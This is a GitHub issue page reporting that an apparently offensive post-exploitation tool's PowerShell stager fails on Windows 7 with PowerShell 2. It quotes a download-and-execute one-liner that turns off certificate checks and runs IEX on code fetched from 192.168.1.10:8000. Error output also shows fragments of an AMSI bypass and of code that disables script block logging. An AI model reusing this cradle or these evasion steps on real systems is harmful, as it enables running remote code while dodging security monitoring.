Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Windows 7 compatibility #27

Closed
exploide opened this issue Jun 5, 2019 · 0 comments
Closed

Windows 7 compatibility #27

exploide opened this issue Jun 5, 2019 · 0 comments
Labels
bug Something isn't working

Comments

@exploide
Copy link
Contributor

exploide commented Jun 5, 2019

As briefly described via email, the stager throws errors when executing it on Windows 7 with PS 2.

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

PS C:\Users\foouser> [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$K=new-object net.w
ebclient;IEX $K.downloadstring('https://192.168.1.10:8000/0');
Ausnahme beim Aufrufen von "Disable" mit 0 Argument(en):  "Methode nicht gefunden: "IntPtr System.IntPtr.op_Addition(In
tPtr, Int32)"."
Bei Zeile:1 Zeichen:23
+ [Bypass.AMSI]::Disable <<<< ()
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DotNetMethodException

Sie können keine Methode für einen Ausdruck mit dem Wert NULL aufrufen.
Bei Zeile:82 Zeichen:82
+ $settings = [Ref].Assembly.GetType($string2).GetField($string3,$string4).GetValue <<<< ($null);
    + CategoryInfo          : InvalidOperation: (GetValue:String) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull

In einem NULL-Array kann kein Index erstellt werden.
Bei Zeile:83 Zeichen:11
+ $settings[ <<<< $string5] = @{}
    + CategoryInfo          : InvalidOperation: (HKEY_LOCAL_MACH...iptBlockLogging:String) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

In einem NULL-Array kann kein Index erstellt werden.
Bei Zeile:84 Zeichen:11
+ $settings[ <<<< $string5].Add($string6, "0")
    + CategoryInfo          : InvalidOperation: (HKEY_LOCAL_MACH...iptBlockLogging:String) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

Probably because there is no AMSI on Win7.

Related #17

Otherwise, great tool :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants